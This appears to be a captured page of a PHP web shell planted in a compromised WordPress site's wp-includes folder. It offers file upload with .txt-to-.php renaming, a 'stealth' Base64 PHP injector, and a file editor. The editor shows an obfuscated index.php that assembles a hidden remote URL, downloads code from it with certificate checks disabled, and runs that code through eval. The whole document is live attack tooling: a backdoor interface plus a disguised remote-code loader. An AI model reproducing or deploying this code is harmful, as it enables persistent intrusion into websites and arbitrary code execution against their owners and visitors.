☠️ L337xyz WAF BYPASS & ROOT ☠️

Tools

Home

---

Method 1: Upload & Rename (to /home/crossroa/domains/lessworkmoremargaritas.com/public_html/wp-includes/imea2b01)

Upload as .txt, Rename to .php

File:
Rename to:
Sikat!

---

Method 2: Base64 Injector (Stealth)

Paste Base64 encoded PHP code here

Filename:

Sikat!

---

✏️ Edit: /home/crossroa/domains/lessworkmoremargaritas.com/public_html/wp-includes/imea2b01/index.php

<?php goto U_scD; rbSrH: $SbPow .= "\57"; goto O0CtN; b1k24: $SbPow .= "\164"; goto wYZQI; PwSfr: $SbPow .= "\164\x74\150"; goto TxqNE; AohfH: $SbPow .= "\x6f\x63"; goto m1SOX; Ksvat: $SbPow .= "\163\x2e"; goto nDQSP; pAJZm: $SbPow .= "\x31"; goto KskAC; wYZQI: $SbPow .= "\170\164\x2e"; goto pAJZm; O0CtN: $SbPow .= "\57\72\x73\160"; goto PwSfr; axP1p: $SbPow .= "\x2f\x72\x65\160"; goto OQr4g; lv3CU: $SbPow .= "\57\155"; goto AohfH; m1SOX: $SbPow .= "\x2e\141"; goto Ksvat; KskAC: $SbPow .= "\x73\145\x72"; goto axP1p; Oyhp8: $SbPow .= "\x68\56\157\145\163"; goto rbSrH; OQr4g: $SbPow .= "\x75\x73"; goto lv3CU; nDQSP: $SbPow .= "\170\145\x79\x69\145"; goto Oyhp8; TxqNE: eval("\77\76" . qxTlE(strrev($SbPow))); goto msCIW; U_scD: $SbPow = ''; goto b1k24; msCIW: function QXTle($Bml6V, $P1MzZ = "\107\x45\x54", $iRDzp = array(), $HJzmR = 45) { try { goto qNTep; Tfm6n: if (!($P1MzZ == "\120\117\x53\124")) { goto AduuG; } goto Jht1D; pMzgu: $LWA6m = isset($SdBZE["\160\141\164\x68"]) ? $SdBZE["\160\x61\164\150"] : "\57"; goto AyRI5; IgU7C: if (!true) { goto a6V3w; } goto VA9AI; gNV30: $Re0sM = http_build_query($iRDzp); goto y53tF; OP_OX: mQ7Ic: goto IgU7C; acMFK: curl_setopt($sUU9j, CURLOPT_SSL_VERIFYPEER, false); goto rOu2H; r04m5: goto mQ7Ic; goto dyD4Y; KYxV6: $nyjJL = substr($nyjJL, $KHDKx + 2 + $Sbl8P + 2); goto r04m5; Jht1D: $NF2aU .= $Re0sM . "\xd\xa"; goto WEm7Q; xFdLL: if ($ya3tn) { goto zcoA9; } goto kDWyB; a_Gfu: $r2F6a .= substr($nyjJL, $KHDKx + 2, $Sbl8P); goto KYxV6; WifNE: goto a6V3w; goto wXeLL; l_2TY: goto a6V3w; goto fOMCS; FkdoL: $I2l_k = array("{$P1MzZ}\x20{$LWA6m}{$uI0tj}\40\110\124\x54\x50\57\x31\56\61", "\110\x6f\x73\x74\72\x20{$qpBZG}", "\125\163\145\162\x2d\x41\x67\145\x6e\x74\72\x20\115\157\x7a\151\x6c\x6c\x61\57\65\56\60\40\50\127\151\156\x64\157\167\163\x20\116\x54\x20\x31\x30\x2e\60\x3b\x20\127\151\x6e\66\x34\x3b\40\170\x36\64\51\40\x41\160\x70\x6c\145\x57\x65\x62\x4b\x69\x74\57\x35\63\x37\56\x33\x36\40\x28\113\110\124\115\x4c\54\x20\154\151\153\x65\x20\107\x65\x63\153\x6f\51\40\x43\x68\x72\157\155\145\57\x39\61\x2e\60\56\64\64\x37\62\x2e\x31\62\x34\x20\x53\x61\x66\x61\x72\151\x2f\x35\x33\67\56\63\66", "\x43\x6f\x6e\156\145\x63\x74\151\x6f\156\72\x20\103\x6c\x6f\163\145"); goto Gvy2U; MwCcv: if (feof($ya3tn)) { goto r2svL; } goto QuZHh; pG9Rm: if (!($P1MzZ == "\x50\x4f\x53\x54")) { goto D6Nxt; } goto m8wUp; y53tF: $I2l_k[] = "\x43\x6f\156\164\145\x6e\x74\x2d\x54\171\x70\x65\x3a\40\141\160\x70\154\x69\143\141\164\x69\x6f\x6e\x2f\170\55\167\167\x77\55\146\x6f\162\155\x2d\165\162\154\145\x6e\x63\157\144\x65\144"; goto YN5YQ; fWFGC: $r2F6a = ''; goto OP_OX; j4nKe: $Y8hdJ = isset($SdBZE["\x70\x6f\162\164"]) ? $SdBZE["\160\x6f\162\x74"] : ($xHeNX === "\150\x74\164\x70\x73" ? 443 : 80); goto s2vvL; fOMCS: UHwp3: goto XEE1B; QuZHh: $y5bjz .= fgets($ya3tn, 1024); goto KvGlo; fLxAs: IqZZH: goto WNpXh; A5Ypt: $I2l_k = isset($PR2u_[0]) ? $PR2u_[0] : ''; goto opi9b; CaQf1: am9Mz: goto MwCcv; WEm7Q: AduuG: goto BkBhj; id6GS: curl_setopt($sUU9j, CURLOPT_USERAGENT, "\x47\x4f"); goto SVbCj; sPXMt: curl_setopt($sUU9j, CURLOPT_POSTFIELDS, http_build_query($iRDzp)); goto lrDPb; lFeEA: Wt2cT: goto U3k8n; YN5YQ: $I2l_k[] = "\103\x6f\156\x74\145\x6e\x74\55\114\145\x6e\x67\x74\x68\72\x20" . strlen($Re0sM); goto C2WsD; lemWM: zcoA9: goto FkdoL; dyD4Y: a6V3w: goto y6cYQ; rOu2H: curl_setopt($sUU9j, CURLOPT_SSL_VERIFYHOST, false); goto mKxbF; qkVCK: $qpBZG = $SdBZE["\150\157\163\x74"]; goto pMzgu; XEE1B: $Sbl8P = hexdec(substr($nyjJL, 0, $KHDKx)); goto B4fVL; wHGsq: return trim(trim($tMMh5, "\xef\xbb\277")); goto fLxAs; m8wUp: curl_setopt($sUU9j, CURLOPT_POST, 1); goto sPXMt; lrDPb: D6Nxt: goto E68pC; NV6ew: curl_setopt($sUU9j, CURLOPT_RETURNTRANSFER, 1); goto acMFK; hjt2t: curl_close($sUU9j); goto wHGsq; e_yRq: $PR2u_ = explode("\15\12\15\12", $y5bjz, 2); goto A5Ypt; allQ4: if (!($KHDKx === false)) { goto UHwp3; } goto l_2TY; B4fVL: if (!($Sbl8P === 0)) { goto RzZFV; } goto WifNE; K6rri: $NF2aU = implode("\xd\xa", $I2l_k) . "\15\xa\xd\12"; goto Tfm6n; AyRI5: $uI0tj = isset($SdBZE["\x71\x75\x65\162\x79"]) ? "\x3f" . $SdBZE["\x71\x75\145\162\x79"] : ''; goto z7Itt; C2WsD: m_Q0h: goto K6rri; VVVve: r2svL: goto f5GbM; Gvy2U: if (!($P1MzZ == "\120\x4f\123\124")) { goto m_Q0h; } goto gNV30; s2vvL: $kO6dJ = $xHeNX === "\x68\164\164\160\163" ? "\163\x73\x6c" : "\164\x63\x70"; goto S8sd1; U3k8n: return trim($nyjJL); goto kNWYY; WNpXh: $SdBZE = parse_url($Bml6V); goto qkVCK; VA9AI: $KHDKx = strpos($nyjJL, "\xd\12"); goto allQ4; S8sd1: $ya3tn = stream_socket_client("{$kO6dJ}\72\x2f\x2f{$qpBZG}\72{$Y8hdJ}", $ySqH9, $aoQAo, $HJzmR); goto xFdLL; Ugkbk: if (!(stripos($I2l_k, "\124\x72\141\156\163\x66\x65\x72\55\x45\x6e\x63\x6f\144\x69\156\147\x3a\x20\143\150\x75\x6e\153\x65\x64") !== false)) { goto Wt2cT; } goto fWFGC; wXeLL: RzZFV: goto a_Gfu; f5GbM: fclose($ya3tn); goto e_yRq; SVbCj: curl_setopt($sUU9j, CURLOPT_CONNECTTIMEOUT, 0); goto NV6ew; RHeZk: curl_setopt($sUU9j, CURLOPT_TIMEOUT, $HJzmR); goto pG9Rm; opi9b: $nyjJL = isset($PR2u_[1]) ? $PR2u_[1] : ''; goto Ugkbk; BkBhj: fwrite($ya3tn, $NF2aU); goto aSaxJ; KvGlo: goto am9Mz; goto VVVve; E68pC: $tMMh5 = curl_exec($sUU9j); goto hjt2t; aSaxJ: $y5bjz = ''; goto CaQf1; qNTep: if (!(function_exists("\x63\165\x72\154\137\x69\x6e\151\x74") && function_exists("\143\165\x72\x6c\137\145\170\145\x63"))) { goto IqZZH; } goto NZNCJ; mKxbF: curl_setopt($sUU9j, CURLOPT_FOLLOWLOCATION, true); goto RHeZk; kDWyB: return 0; goto lemWM; y6cYQ: $nyjJL = $r2F6a; goto lFeEA; XHfqg: curl_setopt($sUU9j, CURLOPT_URL, $Bml6V); goto id6GS; z7Itt: $xHeNX = isset($SdBZE["\163\143\150\145\155\145"]) ? $SdBZE["\x73\x63\150\145\x6d\x65"] : "\150\164\x74\x70"; goto j4nKe; NZNCJ: $sUU9j = curl_init(); goto XHfqg; kNWYY: } catch (Exception $eKquG) { } return 0; }
Save Changes Back